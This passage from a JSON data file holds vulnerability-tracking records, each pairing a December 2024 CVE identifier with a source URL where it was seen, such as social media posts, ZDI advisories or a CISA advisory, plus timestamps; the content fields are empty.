"creation_timestamp": "2024-12-20T18:53:26.659027Z"}, {"uuid": "08862f81-d7cd-46cc-a8d2-2b42b7a1ec19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12844", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldrcmnnqgg2z", "content": "", "creation_timestamp": "2024-12-20T21:15:27.059721Z"}, {"uuid": "189e2cbe-a9a9-4102-b6ab-bd05011d1e0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12729", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3ldsbcjcoy72s", "content": "", "creation_timestamp": "2024-12-21T06:24:32.168725Z"}, {"uuid": "e540b828-7c8a-4744-8a29-0375352b4195", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12066", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113689636535412498", "content": "", "creation_timestamp": "2024-12-21T07:29:43.142624Z"}, {"uuid": "a6e70551-b6e2-4d56-9e1d-9a7a9a8510af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12695", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113676028544090176", "content": "", "creation_timestamp": "2024-12-18T21:49:01.675442Z"}, {"uuid": "4bb96995-4bc1-4555-813f-6609155babb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12798", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldobfj62zm2m", "content": "", "creation_timestamp": "2024-12-19T16:15:33.694197Z"}, {"uuid": "bb765711-c54a-43e4-93c1-058e1679a6cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12175", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113681488674330513", "content": "", "creation_timestamp": "2024-12-19T20:57:37.130599Z"}, {"uuid": "07c463fe-0580-4e9a-bf78-2e140b07c12b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12178", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1703/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "e6172520-d151-4200-b050-3748eb9b6869", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12830", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113682309295404760", "content": "", "creation_timestamp": "2024-12-20T00:26:18.323123Z"}, {"uuid": "101b29a0-41aa-487b-a09c-932fa72b5893", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12831", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113682309309296151", "content": "", "creation_timestamp": "2024-12-20T00:26:18.666075Z"}, {"uuid": "58cdfa33-6798-4675-bfff-d75bdd5ecd06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12727", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3ldpomr7a3224", "content": "", "creation_timestamp": "2024-12-20T05:44:55.945765Z"}, {"uuid": "333be13c-fc43-417d-826b-9943aefaa794", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/nihonmatsu.bsky.social/post/3ldq77apjx22b", "content": "", "creation_timestamp": "2024-12-20T10:41:40.035072Z"}, {"uuid": "d889abf8-6a40-41b9-90e0-1dddefd75375", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://bsky.app/profile/nihonmatsu.bsky.social/post/3ldq77apjx22b", "content": "", "creation_timestamp": "2024-12-20T10:41:40.084747Z"}, {"uuid": "ad4c1fef-9a66-41d5-8a3c-375b84f393cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12697", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113689695572309033", "content": "", "creation_timestamp": "2024-12-21T07:44:44.104429Z"}, {"uuid": "32820798-750a-4e1b-b618-d8d4f27346c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/samilaiho.com/post/3ldslu3agq22z", "content": "", "creation_timestamp": "2024-12-21T09:33:23.695226Z"}, {"uuid": "efd34792-b133-4890-a4d3-7b0439effa8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12331", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113679215508789554", "content": "", "creation_timestamp": "2024-12-19T11:19:30.742152Z"}, {"uuid": "6c9c5a63-3c4f-4281-90bb-f4a5a6b7ce5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12793", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113680835434980676", "content": "", "creation_timestamp": "2024-12-19T18:11:29.076369Z"}, {"uuid": "25c8ac34-5a86-42f1-85b4-cc9b8475b516", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12794", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113680835451609002", "content": "", "creation_timestamp": "2024-12-19T18:11:29.245237Z"}, {"uuid": "e5a60726-fdaf-4100-98e0-80e514760548", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2937927", "content": "", "creation_timestamp": "2024-12-19T19:31:15.256191Z"}, {"uuid": "8018b686-f454-42c5-91f3-2bd25fd47d22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12672", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113681515099631420", "content": "", "creation_timestamp": "2024-12-19T21:04:19.763399Z"}, {"uuid": "f523a307-953e-4969-a0d1-7504c575fd13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12197", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1708/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "91d130b3-b506-4563-adf9-357225b394ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12194", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1706/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "051c1d8f-78c6-4500-a43f-511dff78372d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12191", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1704/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "660be1d0-5ff3-4b3a-8e2f-3228fb1c0a90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12729", "type": "seen", "source": "https://bsky.app/profile/nihonmatsu.bsky.social/post/3ldq77apjx22b", "content": "", "creation_timestamp": "2024-12-20T10:41:40.152730Z"}, {"uuid": "d8324e3f-4f66-4000-9d3e-27e2778b8a37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12840", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldqruoehfi2m", "content": "", "creation_timestamp": "2024-12-20T16:15:43.567033Z"}, {"uuid": "9acd63e3-d4ea-4c5d-85a6-e6ab1e6cd3b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12841", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldr3wmbz3q23", "content": "", "creation_timestamp": "2024-12-20T19:15:44.428250Z"}, {"uuid": "4e96d01e-4bfe-48a9-8481-f63f7f9a7fcc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12842", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldr7c6bezq27", "content": "", "creation_timestamp": "2024-12-20T20:15:54.640834Z"}, {"uuid": "819c4c47-e06e-4aae-aa40-aba5e1129c16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12721", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113689695587554104", "content": "", "creation_timestamp": "2024-12-21T07:44:44.259437Z"}, {"uuid": "183b2ddb-1598-4e5a-b680-75f8ad24611e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://bsky.app/profile/samilaiho.com/post/3ldslu3agq22z", "content": "", "creation_timestamp": "2024-12-21T09:33:23.738763Z"}, {"uuid": "281bb82a-5492-4554-bd88-b06a0b3cc971", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12883", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113690960550659335", "content": "", "creation_timestamp": "2024-12-21T13:06:25.951143Z"}, {"uuid": "8076a18b-9d97-4bd1-9378-7aeb74eaaf4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12891", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lduumayevz2i", "content": "", "creation_timestamp": "2024-12-22T07:15:19.740512Z"}, {"uuid": "4cb07ac3-851b-4f45-8257-7426fd816ba7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/ajxchapman.bsky.social/post/3lduzkeysuk2x", "content": "", "creation_timestamp": "2024-12-22T08:43:44.400099Z"}, {"uuid": "a2b237c5-d1b8-4119-a26d-ccde1f123b74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12626", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113679215523457296", "content": "", "creation_timestamp": "2024-12-19T11:19:31.031972Z"}, {"uuid": "586ec1d0-062d-495c-9a6f-acd5bd1d793a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12785", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113680001427828016", "content": "", "creation_timestamp": "2024-12-19T14:39:22.997143Z"}, {"uuid": "6e53de4f-bece-4961-93c5-c386c39ce44b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2024-12-19T18:10:02.000000Z"}, {"uuid": "04ed07e1-2888-465b-826d-2829c03a1539", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12700", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-354-05", "content": "", "creation_timestamp": "2024-12-19T11:00:00.000000Z"}, {"uuid": "79a9b591-757d-457a-943a-73da41b73186", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12729", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113681515115617439", "content": "", "creation_timestamp": "2024-12-19T21:04:20.082079Z"}, {"uuid": "c4634d8b-212a-4340-aa8d-ff66f921092c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12198", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1709/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "451b2cad-db96-4984-884d-0e753ca312e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12179", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1707/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "6b020b24-aeb1-40cf-af35-a77cfed0966e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12192", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1705/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "6a03b0fb-9f44-42c0-b5a5-310b3b233605", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3ldp6c7gyss2o", "content": "", "creation_timestamp": "2024-12-20T00:52:41.468614Z"}, {"uuid": "68de73e8-d58e-4604-bb2e-b8420dfabdb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12867", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldr7caniju23", "content": "", "creation_timestamp": "2024-12-20T20:15:58.052457Z"}, {"uuid": "870a3e76-97dd-4d30-bafa-cdc3eccce7dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12771", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113689695602544719", "content": "", "creation_timestamp": "2024-12-21T07:44:44.449025Z"}, {"uuid": "25ab4126-4a3b-4aec-846c-c32dfec13145", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12729", "type": "seen", "source": "https://bsky.app/profile/samilaiho.com/post/3ldslu3agq22z", "content": "", "creation_timestamp": "2024-12-21T09:33:23.794350Z"}, {"uuid": "13ea55ff-6fd6-4e76-88b6-58a4e5dc2eb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12883", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldsybdcz6s2c", "content": "", "creation_timestamp": "2024-12-21T13:15:28.581454Z"}, {"uuid": "c50f9c82-326d-4401-901e-38ba9f6d5052", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12782", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldnxdpqclm2m", "content": "", "creation_timestamp": "2024-12-19T13:15:36.235710Z"}, {"uuid": "0026c38f-cc28-44cc-a516-f2dcd141a70e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12793", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldoi4lrbhs2a", "content": "", "creation_timestamp": "2024-12-19T18:15:51.661364Z"}, {"uuid": "b7c222c5-4731-464d-b382-061ce561d237", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12671", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1702/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "b39375cb-91ae-40f6-9bca-484b5727730c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12506", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113683998151143214", "content": "", "creation_timestamp": "2024-12-20T07:35:48.265060Z"}, {"uuid": "a886e207-4821-4d4a-9344-29912cbbb979", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12558", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113690158402957170", "content": "", "creation_timestamp": "2024-12-21T09:42:26.116132Z"}, {"uuid": "5d0a697e-f644-46cf-9245-cc31e1e4bd8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12892", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113695336011285378", "content": "", "creation_timestamp": "2024-12-22T07:39:10.140074Z"}, {"uuid": "101f268b-c86b-42f9-9b54-f7be4040fdf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12894", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldvffgxsve25", "content": "", "creation_timestamp": "2024-12-22T12:15:44.756989Z"}, {"uuid": "889a65c6-486f-4aa4-b007-878daf6bb9b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113666821461240345", "content": "", "creation_timestamp": "2024-12-17T06:47:32.662698Z"}, {"uuid": "d17e3d85-e02d-42f6-9f46-a2816d7a092f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12219", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113666985342334739", "content": "", "creation_timestamp": "2024-12-17T07:29:13.283241Z"}, {"uuid": "14c53fa4-80bd-4d70-bb10-1359c4166104", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12220", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113666985358645445", "content": "", "creation_timestamp": "2024-12-17T07:29:13.507870Z"}, {"uuid": "cc3230d0-1a31-4bfd-ae79-7d1c848ac747", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12293", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113667204127803065", "content": "", "creation_timestamp": "2024-12-17T08:24:51.626570Z"}, {"uuid": "69a721ea-daab-45fe-a9e3-bbd4fa3c6ecb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12571", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113684057166107368", "content": "", "creation_timestamp": "2024-12-20T07:50:48.671508Z"}, {"uuid": "176628b4-8c87-44c0-b46b-763705f5ed10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12692", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113676136226017385", "content": "", "creation_timestamp": "2024-12-18T22:16:24.742952Z"}, {"uuid": "b098f88e-3512-4a1d-803a-af23b19e4e5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12693", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113676136226017385", "content": "", "creation_timestamp": "2024-12-18T22:16:24.804644Z"}, {"uuid": "d240c013-9a8c-41b7-91e4-815df9e50034", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12783", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldnxdse3dm2b", "content": "", "creation_timestamp": "2024-12-19T13:15:38.890868Z"}, {"uuid": "69aab839-6cba-4a7e-9575-6ea34193e277", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12801", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113680401202596935", "content": "", "creation_timestamp": "2024-12-19T16:21:08.389413Z"}, {"uuid": "b34a942f-8889-49a2-bdf3-4020b712e706", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12791", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldoi4gdgxw2t", "content": "", "creation_timestamp": "2024-12-19T18:15:45.082727Z"}, {"uuid": "3bd0a55a-8737-4eec-a5ef-b8f2367eb92b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12670", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1701/", "content": "", "creation_timestamp": "2024-12-19T05:00:00.000000Z"}, {"uuid": "08db2ed4-148e-4a7d-8a7f-ca7208f2e91d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12829", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldp7lc5qer2m", "content": "", "creation_timestamp": "2024-12-20T01:15:40.131091Z"}, {"uuid": "861ece83-8ae2-412b-bdac-f06b8927e6ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12830", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldp7lek4tv2t", "content": "", "creation_timestamp": "2024-12-20T01:15:42.925359Z"}, {"uuid": "e2a6523c-bd90-4d95-848b-f4d2997732de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12509", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113684057150820738", "content": "", "creation_timestamp": "2024-12-20T07:50:48.306020Z"}, {"uuid": "8e39f124-7e12-43fa-8ed2-0e91b96063d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://thehackernews.com/2024/12/cisa-adds-critical-flaw-in-beyondtrust.html", "content": "", "creation_timestamp": "2024-12-20T03:30:00.000000Z"}, {"uuid": "da032e6b-6bdd-415d-9c46-3515b2948ff3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12066", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldse5vdbkk25", "content": "", "creation_timestamp": "2024-12-21T07:15:38.170591Z"}, {"uuid": "2fda25e6-0ec0-40eb-8e34-0bcb67e973d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12591", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113690158417673754", "content": "", "creation_timestamp": "2024-12-21T09:42:26.247934Z"}, {"uuid": "11492799-a459-4ae8-962b-1663fd0d035d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12893", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113695425480271204", "content": "", "creation_timestamp": "2024-12-22T08:01:55.273077Z"}, {"uuid": "c7d9d743-1b45-41e0-900a-3a3cc02a3ae6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12899", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113697498432247674", "content": "", "creation_timestamp": "2024-12-22T16:49:05.895101Z"}, {"uuid": "630ecb68-8c5c-4749-8981-6b48d3b751b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12371", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113674546664738967", "content": "", "creation_timestamp": "2024-12-18T15:32:09.914650Z"}, {"uuid": "eca401d0-2106-4835-9a7b-f44f260af404", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12694", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113676136226017385", "content": "", "creation_timestamp": "2024-12-18T22:16:24.838749Z"}, {"uuid": "bcc5326c-0e2d-4baa-b95d-28f6b9a00483", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12788", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113680447406326426", "content": "", "creation_timestamp": "2024-12-19T16:32:48.004294Z"}, {"uuid": "d4c29761-43bc-4a8c-8a95-1aed03b72055", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12789", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113680447422241361", "content": "", "creation_timestamp": "2024-12-19T16:32:48.484455Z"}, {"uuid": "30155ae7-9f30-4795-a339-e9ffe69c3972", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12792", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldoi4jac3h2s", "content": "", "creation_timestamp": "2024-12-19T18:15:48.004206Z"}, {"uuid": 